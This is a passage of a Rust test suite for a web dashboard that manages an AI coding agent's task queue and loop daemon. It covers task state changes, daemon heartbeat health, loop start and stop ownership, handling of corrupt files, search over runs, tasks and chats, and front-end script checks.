16839 let mut task = Task::new(
16840 "busy".to_owned(),
16841 "Running right now".to_owned(),
16842 PathBuf::from("/repo/magi"),
16843 Source::Human,
16844 );
16845 queue.put(&mut task).expect("file the task");
16846 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16847
16848 let priority = f
16849 .post(
16850 &format!("/api/queue/{}/priority", task.id),
16851 Some(r#"{"priority":9}"#),
16852 )
16853 .await;
16854 assert_eq!(priority.status, 409, "{}", priority.body);
16855
16856 let edit = f
16857 .post(
16858 &format!("/api/queue/{}/edit", task.id),
16859 Some(r#"{"title":"x","instruction":"y"}"#),
16860 )
16861 .await;
16862 assert_eq!(edit.status, 409, "{}", edit.body);
16863 }
16864
16865 #[tokio::test]
16866 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16867 let f = Fixture::start().await;
16868 let queue = f.queue();
16869 let mut task = Task::new(
16870 "shipped by hand".to_owned(),
16871 "merged outside the loop".to_owned(),
16872 PathBuf::from("/repo/magi"),
16873 Source::Agent {
16874 run: "20260101-000000-b455".to_owned(),
16875 node: "implement".to_owned(),
16876 },
16877 );
16878 task.runs.push("20260101-000000-b455".to_owned());
16879 task.runs.push("20260101-000000-9af4".to_owned());
16880 queue.put(&mut task).expect("file the task");
16881 let created_at = task.created_at;
16882
16883 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16884 assert_eq!(done.status, 200, "{}", done.body);
16885 assert_eq!(done.json()["status_str"], "done");
16886
16887 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16888 assert_eq!(
16889 reloaded.runs,
16890 ["20260101-000000-b455", "20260101-000000-9af4"]
16891 );
16892 assert_eq!(
16893 reloaded.source,
16894 Source::Agent {
16895 run: "20260101-000000-b455".to_owned(),
16896 node: "implement".to_owned(),
16897 }
16898 );
16899 assert_eq!(reloaded.created_at, created_at);
16900 }
16901
16902 #[tokio::test]
16903 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16904 let f = Fixture::start().await;
16909 let queue = f.queue();
16910 let mut task = Task::new(
16911 "landed while held".to_owned(),
16912 "x".to_owned(),
16913 PathBuf::from("/repo/magi"),
16914 Source::Human,
16915 );
16916 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16917 queue.put(&mut task).expect("file the held task");
16918
16919 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16920 assert_eq!(done.status, 200, "{}", done.body);
16921 assert_eq!(done.json()["status_str"], "done");
16922 assert!(
16923 done.json()["hold_reason"].is_null(),
16924 "a done task cannot still be waiting on something: {}",
16925 done.body
16926 );
16927 }
16928
16929 #[tokio::test]
16930 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16931 let f = Fixture::start().await;
16936 let queue = f.queue();
16937 let runs = f.runs();
16938 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16939 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16943
16944 let mut task = Task::new(
16945 "landed by hand".to_owned(),
16946 "x".to_owned(),
16947 PathBuf::from("/repo/magi"),
16948 Source::Human,
16949 );
16950 task.runs.push("20260101-000000-doa1".to_owned());
16951 task.runs.push("20260101-000000-doa2".to_owned());
16952 queue.put(&mut task).expect("file the task");
16953
16954 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16955 assert_eq!(done.status, 200, "{}", done.body);
16956
16957 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16958 .expect("run still on disk under this fixture's own home");
16959 assert_eq!(
16960 reloaded_run.status,
16961 RunStatus::Superseded,
16962 "closing the task by hand must relabel the earlier blocked attempt exactly \
16963 like the loop's own settle path does"
16964 );
16965 }
16966
16967 #[tokio::test]
16968 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16969 let f = Fixture::start().await;
16974 let queue = f.queue();
16975 let runs = f.runs();
16976 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16977 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16978
16979 let mut task = Task::new(
16980 "closed with nothing actually landed".to_owned(),
16981 "x".to_owned(),
16982 PathBuf::from("/repo/magi"),
16983 Source::Human,
16984 );
16985 task.runs.push("20260101-000000-dob1".to_owned());
16986 task.runs.push("20260101-000000-dob2".to_owned());
16987 queue.put(&mut task).expect("file the task");
16988
16989 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16990 assert_eq!(done.status, 200, "{}", done.body);
16991
16992 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16993 .expect("run still on disk under this fixture's own home");
16994 assert_eq!(
16995 reloaded_run.status,
16996 RunStatus::Blocked,
16997 "the last recorded attempt never landed, so the earlier one must not be \
16998 relabelled as superseded by it"
16999 );
17000 }
17001
17002 #[tokio::test]
17003 async fn unknown_ids_are_json_not_found_on_both_stores() {
17004 let f = Fixture::start().await;
17005
17006 let run = f.get("/api/runs/nosuchrun").await;
17007 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17008
17009 assert_eq!(run.status, 404);
17010 assert_eq!(task.status, 404);
17011 assert!(
17012 run.json()["error"]
17013 .as_str()
17014 .is_some_and(|e| e.contains("run")),
17015 "the error names what was not found: {}",
17016 run.body
17017 );
17018 assert!(
17019 task.json()["error"]
17020 .as_str()
17021 .is_some_and(|e| e.contains("task")),
17022 "the error names what was not found: {}",
17023 task.body
17024 );
17025 }
17026
17027 #[tokio::test]
17028 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17029 let f = Fixture::start().await;
17030
17031 let missing = f.get("/api/health").await.json();
17032 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17033
17034 write_daemon(
17035 f.home.path(),
17036 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17037 );
17038 let stale = f.get("/api/health").await.json();
17039 assert_eq!(
17040 stale["daemon"]["running"], false,
17041 "a minute without a heartbeat is a dead daemon, not a busy one"
17042 );
17043 assert!(
17044 stale["daemon"]["stale_for_secs"]
17045 .as_i64()
17046 .is_some_and(|s| s >= 55),
17047 "staleness is reported so the UI can say how long: {stale}"
17048 );
17049
17050 write_daemon(f.home.path(), Timestamp::now());
17051 let fresh = f.get("/api/health").await.json();
17052 assert_eq!(fresh["daemon"]["running"], true);
17053 assert_eq!(fresh["daemon"]["idle"], false);
17054 assert_eq!(fresh["daemon"]["pid"], 4242);
17055 assert_eq!(fresh["daemon"]["completed"], 7);
17056 assert_eq!(
17057 fresh["daemon"]["current"][0]["task"],
17058 "20260902-140501-aaaa"
17059 );
17060 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17061 }
17062
17063 #[tokio::test]
17064 async fn the_loop_is_not_running_until_something_starts_it() {
17065 let f = Fixture::start().await;
17066
17067 let view = f.get("/api/loop").await.json();
17068 assert_eq!(view["running"], false);
17069 assert_eq!(
17070 view["owned"], false,
17071 "nobody owns a loop that does not exist: {view}"
17072 );
17073 assert_eq!(view["stopping"], false);
17074 assert_eq!(view["last_error"], Value::Null);
17075 assert_eq!(view["daemon"]["running"], false);
17076 assert_eq!(
17077 view["repo"], "/repo/magi",
17078 "the repository a start would use, named before it is started"
17079 );
17080 }
17081
17082 #[tokio::test]
17083 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17084 let f = Fixture::start().await;
17085
17086 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17087 assert_eq!(res.status, 200, "{}", res.body);
17088 let view = res.json();
17089 assert_eq!(view["running"], true);
17090 assert_eq!(
17091 view["owned"], true,
17092 "the loop the UI started is the UI's own to stop: {view}"
17093 );
17094 assert_eq!(
17095 view["merge"],
17096 Value::Null,
17097 "no override was given, so each repository's own config decides"
17098 );
17099
17100 let health = f.get("/api/health").await.json();
17104 assert_eq!(health["loop"]["running"], true, "{health}");
17105 assert_eq!(health["loop"]["owned"], true, "{health}");
17106
17107 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17108 }
17109
17110 #[tokio::test]
17111 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17112 let f = Fixture::start().await;
17113 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17114 assert_eq!(first.status, 200, "{}", first.body);
17115
17116 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17117 assert_eq!(
17118 again.status, 409,
17119 "two loops on one queue race for the same claims: {}",
17120 again.body
17121 );
17122 assert!(
17123 again.json()["error"]
17124 .as_str()
17125 .is_some_and(|e| e.contains("already running the loop")),
17126 "the refusal has to say why: {}",
17127 again.body
17128 );
17129 assert_eq!(
17130 f.get("/api/loop").await.json()["running"],
17131 true,
17132 "and the loop that was already running is untouched by it"
17133 );
17134
17135 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17136 }
17137
17138 #[tokio::test]
17139 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17140 let f = Fixture::start().await;
17141 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17142
17143 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17144 assert_eq!(
17145 res.status, 200,
17146 "the answer must not wait for the loop: a run in flight is tens of \
17147 minutes and the operator is holding a phone: {}",
17148 res.body
17149 );
17150
17151 let view = settled(&f, |v| v["running"] == false).await;
17152 assert_eq!(view["owned"], false);
17153 assert_eq!(
17154 view["stopping"], false,
17155 "a loop that has stopped is not still stopping: {view}"
17156 );
17157 assert_eq!(
17158 view["last_error"],
17159 Value::Null,
17160 "a loop that was asked to stop did not fail: {view}"
17161 );
17162
17163 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17166 assert_eq!(twice.status, 200, "{}", twice.body);
17167 }
17168
17169 #[tokio::test]
17170 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17171 let f = Fixture::start().await;
17172 write_daemon(f.home.path(), Timestamp::now());
17175
17176 let view = f.get("/api/loop").await.json();
17177 assert_eq!(view["running"], false, "not in this process: {view}");
17178 assert_eq!(view["owned"], false, "and not this process's to control");
17179 assert_eq!(
17180 view["daemon"]["running"], true,
17181 "but a loop is alive somewhere, which is what the UI must say"
17182 );
17183 assert_eq!(view["daemon"]["pid"], 4242);
17184
17185 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17186 let res = f.post("/api/loop", Some(body)).await;
17187 assert_eq!(
17188 res.status, 409,
17189 "neither button may pretend to work on someone else's loop: {}",
17190 res.body
17191 );
17192 assert!(
17193 res.json()["error"]
17194 .as_str()
17195 .is_some_and(|e| e.contains("4242")),
17196 "the refusal has to name the process the operator must go to: {}",
17197 res.body
17198 );
17199 }
17200 assert_eq!(
17201 f.get("/api/loop").await.json()["running"],
17202 false,
17203 "and the refusal started nothing"
17204 );
17205 }
17206
17207 #[tokio::test]
17208 async fn a_stale_status_file_is_not_a_foreign_owner() {
17209 let f = Fixture::start().await;
17210 write_daemon(
17211 f.home.path(),
17212 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17213 );
17214
17215 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17216 assert_eq!(
17217 res.status, 200,
17218 "a daemon killed a minute ago must not lock the loop out of its \
17219 own home for good: {}",
17220 res.body
17221 );
17222 assert_eq!(res.json()["running"], true);
17223
17224 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17225 }
17226
17227 #[tokio::test]
17228 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17229 let f = Fixture::start().await;
17230 let before = f.get("/api/health").await.json()["loop_rev"]
17231 .as_u64()
17232 .expect("a loop revision");
17233
17234 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17235
17236 let after = f.get("/api/health").await.json()["loop_rev"]
17237 .as_u64()
17238 .expect("a loop revision");
17239 assert!(
17240 after > before,
17241 "the loop is in-process state, so this counter is the only thing \
17242 that tells a second device the first one started it: {before} -> \
17243 {after}"
17244 );
17245
17246 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17247 }
17248
17249 #[tokio::test]
17250 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17251 let f = Fixture::with_loop(launch_broken).await;
17252
17253 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17254 assert_eq!(
17255 res.status, 200,
17256 "starting it is not the failure: {}",
17257 res.body
17258 );
17259
17260 let view = settled(&f, |v| v["last_error"].is_string()).await;
17261 assert_eq!(
17262 view["running"], false,
17263 "a loop that died must not read as running, or the operator has \
17264 nothing to press: {view}"
17265 );
17266 assert_eq!(view["owned"], false);
17267 assert!(
17268 view["last_error"]
17269 .as_str()
17270 .is_some_and(|e| e.contains("read-only file system")),
17271 "the phone is where a loop that died at 3am is visible: {view}"
17272 );
17273
17274 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17277 assert_eq!(again.status, 200, "{}", again.body);
17278 assert!(
17279 again.json()["last_error"]
17280 .as_str()
17281 .is_none_or(|e| !e.contains("read-only file system")),
17282 "a fresh start does not keep showing why the last one died: {}",
17283 again.body
17284 );
17285 }
17286
17287 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17299 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17300 let home = TempDir::new().expect("temp home");
17301 let runs = home.path().join("runs");
17302 std::fs::create_dir_all(&runs).expect("runs dir");
17303 let ui = Ui::new(
17304 Queue::at(home.path().join("queue")),
17305 Questions::at(home.path().join("questions")),
17306 Talks::at(home.path().join("talks")),
17307 runs,
17308 home.path().to_path_buf(),
17309 PathBuf::from("/repo/magi"),
17310 )
17311 .with_worktrees_root(home.path().join("wt"))
17312 .with_launch(launch_knocking_on_the_way_out);
17313 let looping = ui.looping();
17314 let turns = ui.turns();
17315 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17316 .await
17317 .expect("bind loopback");
17318 let addr = listener.local_addr().expect("local addr");
17319 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17320 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17321
17322 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17323 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17324
17325 let bound = std::sync::Mutex::new(None);
17340 hand_over(
17341 home.path(),
17342 &looping,
17343 &turns,
17344 &|_: &[String]| Duration::from_secs(5),
17345 served,
17346 |_| {
17347 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17348 let attempt = loop {
17349 match std::net::TcpListener::bind(addr) {
17350 Ok(l) => {
17351 drop(l);
17352 break Ok(());
17353 }
17354 Err(e)
17355 if e.kind() == std::io::ErrorKind::AddrInUse
17356 && std::time::Instant::now() < deadline =>
17357 {
17358 std::thread::sleep(std::time::Duration::from_millis(10));
17359 }
17360 Err(e) => break Err(e.to_string()),
17361 }
17362 };
17363 *bound.lock().expect("bound") = Some(attempt);
17364 Ok(1)
17365 },
17366 )
17367 .await
17368 .expect("hand over");
17369
17370 assert_eq!(
17371 *PARK_HEARD.lock().expect("park heard"),
17372 Some(200),
17373 "the deck must answer while the loop is parking"
17374 );
17375 let attempt = bound
17376 .lock()
17377 .expect("bound")
17378 .take()
17379 .expect("the successor was started");
17380 assert!(
17381 attempt.is_ok(),
17382 "and the address must be free by the time it is: {attempt:?}"
17383 );
17384 }
17385
17386 #[tokio::test]
17387 async fn a_newer_daemon_status_file_still_renders() {
17388 let f = Fixture::start().await;
17389 std::fs::write(
17392 f.home.path().join("daemon.json"),
17393 serde_json::json!({
17394 "schema": 2,
17395 "updated_at": Timestamp::now().to_string(),
17396 "idle": true,
17397 "surprise": { "nested": [1, 2, 3] },
17398 })
17399 .to_string(),
17400 )
17401 .expect("write daemon.json");
17402
17403 let health = f.get("/api/health").await;
17404
17405 assert_eq!(health.status, 200);
17406 assert_eq!(health.json()["daemon"]["running"], true);
17407 }
17408
17409 #[tokio::test]
17410 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17411 let f = Fixture::start().await;
17412 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17413 let broken = f.runs().join("20260902-140502-bad");
17414 std::fs::create_dir_all(&broken).expect("run dir");
17415 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17416
17417 let list = f.get("/api/runs").await;
17418 let detail = f.get("/api/runs/20260902-140502-bad").await;
17419
17420 assert_eq!(list.status, 200);
17421 let listed = list.json();
17422 let ids: Vec<&str> = listed
17423 .as_array()
17424 .expect("an array")
17425 .iter()
17426 .map(|r| r["id"].as_str().expect("an id"))
17427 .collect();
17428 assert_eq!(
17429 ids,
17430 vec!["20260902-140501-good"],
17431 "one unreadable run must not cost the operator the whole history"
17432 );
17433 assert_eq!(detail.status, 500);
17434 assert!(
17435 detail.json()["error"]
17436 .as_str()
17437 .is_some_and(|e| e.contains("run.json")),
17438 "the failure names the file to look at: {}",
17439 detail.body
17440 );
17441 let health = f.get("/api/health").await;
17445 assert_eq!(health.json()["runs_unreadable"], 1);
17446 }
17447
17448 #[tokio::test]
17450 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17451 let f = Fixture::start().await;
17452 let runs = f.runs();
17453 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17454 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17455 let path = runs.join("20260902-140502-bbbb").join("run.json");
17458 let mut v: serde_json::Value =
17459 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17460 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17461 std::fs::write(&path, v.to_string()).unwrap();
17462 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17463 std::fs::write(
17464 runs.join("20260902-140503-cccc").join("run.json"),
17465 "{ not json",
17466 )
17467 .unwrap();
17468
17469 let res = f.get("/api/search?scope=runs&q=quokka").await;
17470 assert_eq!(res.status, 200, "{}", res.body);
17471 let v = res.json();
17472 assert_eq!(v["total"], 1, "{v}");
17473 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17474 assert_eq!(v["hits"][0]["field"], "text");
17475 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17476 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17477 assert!(
17478 parts
17479 .iter()
17480 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17481 "{v}"
17482 );
17483 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17484 assert_eq!(
17485 flat, "The Quokka leaks across threads",
17486 "whitespace is collapsed"
17487 );
17488
17489 let both = f
17491 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17492 .await
17493 .json();
17494 assert_eq!(both["total"], 1, "{both}");
17495 let neither = f
17496 .get("/api/search?scope=runs&q=quokka%20zebra")
17497 .await
17498 .json();
17499 assert_eq!(neither["total"], 0, "{neither}");
17500 let stmt = f
17502 .get("/api/search?scope=runs&q=mobile%20first")
17503 .await
17504 .json();
17505 assert_eq!(stmt["total"], 2, "{stmt}");
17506 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17507 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17508 }
17509
17510 #[test]
17511 fn snippet_ignores_terms_longer_than_the_field() {
17512 let terms = ["ok".to_owned(), "elephant".to_owned()];
17513 let parts = snippet_of("ok", &terms);
17514 assert_eq!(
17515 parts,
17516 vec![SnippetPart {
17517 text: "ok".to_owned(),
17518 hit: true
17519 }]
17520 );
17521 }
17522
17523 #[test]
17524 fn snippet_marks_matches_longer_than_the_window() {
17525 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17526 let hit_len = |parts: &[SnippetPart]| -> usize {
17527 parts
17528 .iter()
17529 .filter(|p| p.hit)
17530 .map(|p| p.text.chars().count())
17531 .sum()
17532 };
17533 let total =
17534 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17535
17536 let long = "a".repeat(120);
17537 let parts = snippet_of(&long, std::slice::from_ref(&long));
17538 assert!(hit_len(&parts) > 0, "{parts:?}");
17539 assert!(total(&parts) <= cap);
17540
17541 let ja = "あ".repeat(130);
17542 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17543 assert!(hit_len(&parts) > 0, "{parts:?}");
17544 assert!(total(&parts) <= cap);
17545
17546 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17548 let term = format!("ab{}", "c".repeat(100));
17549 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17550 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17551 assert!(total(&parts) <= cap);
17552
17553 let text = format!("{}z", "a".repeat(119));
17555 let parts = snippet_of(&text, &["a".repeat(120)]);
17556 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17557 }
17558
17559 #[tokio::test]
17560 async fn search_caps_hits_and_snippet_length() {
17561 let f = Fixture::start().await;
17562 let runs = f.runs();
17563 for n in 0..(SEARCH_MAX_HITS + 5) {
17564 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17565 }
17566 let v = f.get("/api/search?scope=runs&q=web").await.json();
17567 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17568 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17569 assert_eq!(v["truncated"], true);
17570 assert!(
17572 v["hits"]
17573 .as_array()
17574 .unwrap()
17575 .iter()
17576 .all(|h| h["run"]["status"] == "merged")
17577 );
17578
17579 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17580 let parts = snippet_of(&long, &["needle".to_owned()]);
17581 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17582 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17583 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17584 }
17585
17586 #[tokio::test]
17587 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17588 let f = Fixture::start().await;
17589 let queue = f.queue();
17590 let mut t = Task::new(
17591 "short title".to_owned(),
17592 "line one\nthe hidden Armadillo detail".to_owned(),
17593 PathBuf::from("/repo/magi"),
17594 Source::Agent {
17595 run: "r1".to_owned(),
17596 node: "chat".to_owned(),
17597 },
17598 );
17599 t.last_error = Some("disk full on /tmp".to_owned());
17600 queue.put(&mut t).expect("file the task");
17601
17602 for (q, want) in [
17603 ("armadillo", 1),
17604 ("disk%20FULL", 1),
17605 ("chat", 1),
17606 ("queued", 1),
17607 ("short%20nothing", 0),
17608 ] {
17609 let v = f
17610 .get(&format!("/api/search?scope=tasks&q={q}"))
17611 .await
17612 .json();
17613 assert_eq!(v["total"], want, "{q}: {v}");
17614 }
17615 for bad in [
17616 "/api/search?scope=tasks&q=",
17617 "/api/search?scope=tasks&q=%20",
17618 "/api/search?scope=chats&q=",
17619 "/api/search?scope=chats&q=%20",
17620 "/api/search?scope=nope&q=a",
17621 "/api/search?q=a",
17622 ] {
17623 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17624 }
17625 }
17626
17627 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17629 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17630 .expect("seat value");
17631 let turns: Vec<serde_json::Value> = turns
17632 .iter()
17633 .map(|(who, body)| {
17634 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17635 })
17636 .collect();
17637 let doc = serde_json::json!({
17638 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17639 "status": status, "turns": turns,
17640 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17641 "seat": seat,
17642 });
17643 let dir = f.home.path().join("talks");
17644 std::fs::create_dir_all(&dir).expect("talks dir");
17645 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17646 }
17647
17648 #[tokio::test]
17649 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17650 let f = Fixture::start().await;
17651 write_talk(
17652 &f,
17653 "20260901-000001-aaaa",
17654 "open",
17655 &[
17656 (
17657 "operator",
17658 "\n Why does the Pangolin cache expire?\nsecond line",
17659 ),
17660 ("agent", "Because the TTL is thirty seconds."),
17661 ],
17662 );
17663 write_talk(
17664 &f,
17665 "20260901-000002-bbbb",
17666 "closed",
17667 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17668 );
17669 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17670
17671 let search = |q: &'static str| {
17672 let f = &f;
17673 async move {
17674 f.get(&format!("/api/search?scope=chats&q={q}"))
17675 .await
17676 .json()
17677 }
17678 };
17679
17680 let v = search("PANGOLIN").await;
17681 assert_eq!(v["scope"], "chats");
17682 assert_eq!(v["total"], 1, "{v}");
17683 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17684 assert_eq!(v["hits"][0]["field"], "title");
17685 assert_eq!(v["unreadable"], 1, "{v}");
17686 let marked: Vec<&str> = v["hits"][0]["snippet"]
17687 .as_array()
17688 .unwrap()
17689 .iter()
17690 .filter(|p| p["hit"] == true)
17691 .map(|p| p["text"].as_str().unwrap())
17692 .collect();
17693 assert_eq!(marked, ["Pangolin"]);
17694
17695 let v = search("zebra").await;
17697 assert_eq!(v["total"], 1, "{v}");
17698 assert_eq!(v["hits"][0]["field"], "agent");
17699 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17701 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17702 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17704 assert_eq!(search(q).await["total"], 0, "{q}");
17705 }
17706 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17708 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17710
17711 let v = f.get("/api/search?scope=nope&q=a").await;
17712 assert_eq!(v.status, 400);
17713 assert!(
17714 v.body.contains("scope must be runs, tasks or chats"),
17715 "{}",
17716 v.body
17717 );
17718 }
17719
17720 #[test]
17721 fn a_question_card_links_a_task_id_to_the_task_page() {
17722 let start = APP_JS
17723 .find("function updateAskCard(")
17724 .expect("updateAskCard exists");
17725 let body = &APP_JS[start..];
17726 let body = &body[..body.find("\n}\n").expect("function end")];
17727 assert!(body.contains("question.run_is_task"));
17728 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17729 assert!(body.contains("`#/runs/${question.run}`"));
17730 assert!(body.contains("\"task\" : \"run\""));
17731 }
17732
17733 #[test]
17734 fn plain_text_message_surfaces_go_through_linkify() {
17735 assert!(APP_JS.contains("function linkify("));
17736 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17737 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17738 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17739 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17740 assert!(!APP_JS.contains("innerHTML = text"));
17741 }
17742
17743 #[test]
17744 fn implementation_rate_views_keep_independent_samples() {
17745 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17746 let a = stats::AgentStats {
17747 competitive_entered: competitive_n,
17748 competitive_wins: usize::from(competitive_n > 0),
17749 solo_entered: solo_n,
17750 solo_adopted: 2 * usize::from(solo_n > 0),
17751 ..Default::default()
17752 };
17753 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17754 for (key, n, numerator) in [
17755 ("competitive_win_rate", competitive_n, a.competitive_wins),
17756 ("solo_adoption_rate", solo_n, a.solo_adopted),
17757 ] {
17758 if n == 0 {
17759 assert!(v[key].is_null());
17760 } else {
17761 assert_eq!(v[key]["denominator"], n);
17762 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17763 }
17764 }
17765 }
17766 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17767 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17768 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17769 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17770 }
17771
17772 #[test]
17773 fn stats_bars_share_one_id_keyed_plan() {
17774 let start = APP_JS
17775 .find("function statsBarRows(")
17776 .expect("statsBarRows exists");
17777 let body = &APP_JS[start..];
17778 let body = &body[..body.find("\n}\n").expect("function end")];
17779 assert!(body.contains("statsBarPlan(rows)"));
17780 assert!(body.contains("statsAgentTone(row.agent)"));
17781 assert!(!body.contains("candTone(i)"));
17782 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17783 for root in [
17784 "stats-agents-bars",
17785 "stats-solo-bars",
17786 "stats-reviewers-bars",
17787 ] {
17788 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17789 }
17790 }
17791
17792 #[test]
17793 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17794 let start = APP_JS
17795 .find("function renderStatsReviewerScatter(")
17796 .expect("renderStatsReviewerScatter exists");
17797 let body = &APP_JS[start..];
17798 let body = &body[..body.find("\n}\n").expect("function end")];
17799 assert!(body.contains("statsScatterPlan(reviewers)"));
17800 assert!(body.contains("statsAgentTone(d.agent)"));
17801 assert!(APP_JS.contains("function statsScatterPlan("));
17802 assert!(
17803 APP_JS.contains("d.submitted < STATS_LOW_N")
17804 || APP_JS.contains("r.submitted < STATS_LOW_N")
17805 );
17806 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17807 assert!(APP_CSS.contains(".precision-scatter"));
17808 }
17809
17810 #[test]
17811 fn advisor_reflection_is_drawn_as_stacked_segments() {
17812 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17813 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
